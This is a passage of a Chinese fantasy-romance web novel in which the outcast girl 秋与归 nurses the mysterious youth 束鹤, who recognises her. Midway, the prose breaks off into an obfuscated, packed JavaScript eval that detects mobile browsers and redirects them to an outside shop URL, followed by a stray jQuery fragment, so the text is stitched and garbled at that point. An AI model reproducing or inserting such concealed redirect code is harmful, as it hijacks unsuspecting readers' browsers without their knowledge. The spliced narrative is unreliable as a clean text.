那少年的目光在她脸上停留了片刻，然后缓缓下移，落在她攥紧衣襟的手上，又移回她的脸上。
“秋与归。”他开口，声音嘶哑，像是在砂纸上磨过的。
她整个人都愣住了，“你认识我？”
那少年没有回答，只是虚弱地笑了笑，嘴角的弧度极浅，像是用了全身的力气。
“总算……找到了。”
他的声音很轻，轻得像雾气，话音未落，那双刚刚睁开的眼睛又缓缓合上了。
“喂！”秋与归扑过去，伸手想探他的鼻息，手指刚触到那层光晕，就被一股温和的力量弹了回来。
光晕又开始凝聚，一层一层地将他重新包裹起来，像合拢的花瓣。
转眼间，他又睡了过去，仿佛刚才那一瞬的清醒只是她的错觉。
秋与归站在木架前，盯着那团重新沉寂下去的银白色光芒，心跳得快要从嗓子眼蹦出来。
他认识她？
他认识她！
梦灯在木架上静静地亮着，银白色的光晕比昨夜暗了一些，像一盏快要燃尽的烛火。
秋与归趴在桌上，下巴枕着交叠的手臂，盯着那团光晕发呆。
昨夜那个少年睁开眼，喊了她的名字，然后就又睡了过去。
她守了一整夜，眼睛都没阖过。不是不想睡，是一闭眼就能看见他那双极淡的墨色眸子，定定地望着她。
“你是谁？”她低声喃喃。
窗外的雾气散了些，一线晨光从窗棂缝隙漏进来，正好落在梦灯上。那团银白色的光晕微微颤了一下，像是在回应。
秋与归看着那道光，忽然觉得有点好笑。
她在这梦貘之乡活了十六年，从来都是被无视的那一个。族人们看她，目光穿过她，落在她身后的某个地方，仿佛她只是一团透明的雾气。
可现在，一个来历不明的人，连命都快保不住了，却拼着最后一丝清醒，喊她的名字。
“秋与归。”
他说这三个字的时候，声音嘶哑得不像话，但字字清晰。
秋与归把脸埋进手臂里，她不想承认，那一刻她的眼眶是热的。
束鹤再次醒来，是三日后的傍晚。
彼时秋与归正蹲在竹舍外的溪边，手忙脚乱地拧一条湿透的布巾。
她从来没有照顾过人，族里那些幼崽病了有娘亲守着，受伤了有长老医治，轮不到她插手。
族长把这差事交给她的时候，她连药都不会煎。梓潼长老送来的那包药草，被她煮糊了两回，第三回勉强没糊，但苦味浓得她自己都皱眉。
她用袖子擦了擦额角的汗，把拧干的布巾搭在木盆边缘，端着盆往回走。
推开竹舍的门，她愣住了。
木架上，那团银白色的光晕散了大半，露出里面那个蜷缩的身影。他的睫毛颤了颤，然后缓缓睁开了眼。
这一次，他没有立刻阖上。
他的目光从天花板的木梁移到窗棂，从窗棂移到桌上那碗黑乎乎的汤药，最后落在她身上。
秋与归端着木盆站在门口，脚下像生了根，“……你醒了？”
束鹤看着她，嘴唇动了动。
“嗯。”他的声音还是哑，但比上次好了很多，至少能听出原本的音色了，像深秋的风掠过竹林，清冽又低沉。
秋与归把木盆放在桌上，拿起那碗已经凉透的汤药，犹豫了一下，“药凉了，我去热热。”
“不必。”束鹤撑着木架想坐起来，手臂却一软，整个人又跌了回去。
秋与归听见他闷哼了一声，眉心拧了一下。
她放下碗，走过去，犹豫了好几息，才伸手扶住他的肩膀。隔着那层正在消散的光晕，她的指尖触到他的肩胛骨，硬邦邦的，硌手。
“你急什么。”她的语气有点冲，“伤还没好，乱动什么。”
束鹤没有反驳，借着她手臂的力道，慢慢坐了起来。他靠在木架上，微微喘着气，额角渗出一层薄汗。
秋与归看着他苍白的脸，把碗塞进他手里，“喝药。”
束鹤低头看着那碗黑乎乎的药汁，没有犹豫，仰头一饮而尽。药汁显然很苦，他皱了一下眉，但没有出声。
“你叫什么名字？”她问。
束鹤抬起头，看着她。
“束鹤。”他说，“我叫束鹤。”
秋与归在心里默念了一遍这个名字，舌尖抵着上颚。
奇怪，不陌生。
“你……”她张了张嘴，想问“你为什么认识我”，但话到嘴边转了个弯，“你饿不饿？”
束鹤看着她，嘴角微微扬起，那弧度很浅，浅得像风掠过水面。
“饿。”他说。
接下来的日子，秋与归的生活发生了微妙的变化。
从前她独自住在雾沼边缘的榕洞里，被族人们无视着，但现在她每天会多走一段路，穿过那片浓雾，到灵潭东边的竹舍去。
药是她煎的，饭是她送的，伤口是她换的药。
梓潼长老每隔三日送一次药材，每次都站在竹舍门口看一眼，确认束鹤还活着，便转身离开，从不多留。
有一次梓潼走远了，束鹤忽然开口：“他不喜欢你。”
秋与归正在捣药，手上的动作顿了一下，“……谁？”
“那个送药的人。”
秋与归低下头，继续捣药，“不是不喜欢，是不在意。族里大部分人对我都这样，习惯了。”
竹舍里安静下来，只有药杵撞击石臼的声音。
“为什么？”
秋与归的手停了，“对他们而言，我是异类，而且我也没有能力成为他们的同伴，我帮不了他们什么。”
她抬起头，看着坐在床边的束鹤。他的伤已经好了很多，能自己下地走动了，但还不能动用灵力。
“何必妄自菲薄，你拥有什么，就把它修炼到最强。”他一步步靠近，最终蹲在秋与归身侧，从她手中接过捣药杵，“到时，你便是最厉害的织梦者。”
竹舍里安静了下来，只有捣药的声音，一下又一下，敲在她的心上。
窗外有鸟叫，有风吹过竹梢的沙沙声，有溪水潺潺流过石缝的空灵声响。
她偏过头，能感觉到他的目光落在她身上，不是盯着看，是那种不经意的、追着光似的。
“看什么？”她没好气地问，“不好好捣药，小心砸到手指。”
束鹤轻笑了声，“看风景。”
秋与归抬起头，瞪了他一眼，“这里哪有风景？”
束鹤没有回答，只是嘴角微微扬起。
秋与归顺着他的目光回头看了一眼，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876011|212383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身后是那扇半开的窗，窗外是一片浓得化不开的雾，什么也看不见。
她转回来，又瞪了他一眼。
有一天夜里，下了一场暴雨。
秋与归被雷声惊醒，从榕洞里坐起来，心跳得厉害。她从小就怕打雷，每次雷雨夜都要蜷在被窝里，捂住耳朵，等雷声过去。
但今晚，她想到了竹舍。
竹舍建在灵潭边上，地势低，风大雨急，不知道会不会漏水。那个人伤还没好，万一摔了怎么办？
她咬了咬牙，披上蓑衣，冲进雨里。
雾沼的夜路本来就难走，暴雨天更是伸手不见五指。她深一脚浅一脚地踩着泥泞，好几次差点滑倒。
蓑衣根本挡不住这么大的雨，雨水顺着领口灌进去，凉得她直哆嗦。
等她终于跑到竹舍门口，整个人已经湿透了。
她推开门，看见束鹤正坐在床边。
听到动静，他抬起头。
门被风吹开，秋与归站在门口，蓑衣歪斜，发丝散乱，雨水顺着她的脸颊往下淌，整个人狼狈得不成样子。
束鹤愣了一下，“你怎么……”
“我怕你死了。”秋与归打断他，声音有点冲，却带着掩饰不住的颤抖，“这么大的雨，你这破屋子万一塌了呢？”
她走进来，把蓑衣解下，挂在门后。水从蓑衣上滴下来，在地上汇成一小片水洼。
束鹤站起身，走过来。
他比她高了整整一个头，低头看着她的头顶，看见她发间沾着的枯叶和泥点。
“你从榕洞跑过来的？”他的声音有些哑。
“不然呢？我又不会飞。”秋与归没好气地说，从袖中摸出一块帕子，胡乱擦着脸上的水。
束鹤伸手，把帕子从她手里抽走。
“干嘛……”
他低下头，仔细地帮她擦脸上的水。动作很轻，从额角到脸颊，从鼻梁到下颌，像在擦拭一件易碎的瓷器。
秋与归僵在原地，连呼吸都忘了。
他的手很暖，贴着帕子的触感透过皮肤，烫得她浑身都在发抖。
“你……你放开。”她的声音小得像蚊子叫。
束鹤没有放开，他擦完她的脸，重新拿了条干净的布巾，帮她擦头发。发梢还在滴水，他一点一点地抿干。
“下次下雨，别跑来了。”他说，“我不会死的。”
秋与归低下头，盯着自己的鞋尖，鞋上全是泥，已经看不出原来的颜色。
“我怕。”她小声说。
束鹤的手顿了一下，“怕什么？”
她张了张嘴，想说“怕你出事”，想说“怕你来了又走，走了就不再回来”，想说“怕我好不容易有了一个可以说话的人，又没了”。
但她什么都没说出口。
她只是低下头，把脸埋进自己的掌心里。
束鹤没有再问。
他放下帕子，轻轻握住她的手腕，将她的手从脸上拿开。
“我不会走。”他说，声音很低，低得像是只说给她一个人听的，“只要你还在这里，我就不会走。”
窗外，雷声还在轰隆轰隆地响。
“为什么？”秋与归闷声问，“世间同名之人千千万，也许你找错了秋与归。”
“唯有这件事，不会错的。”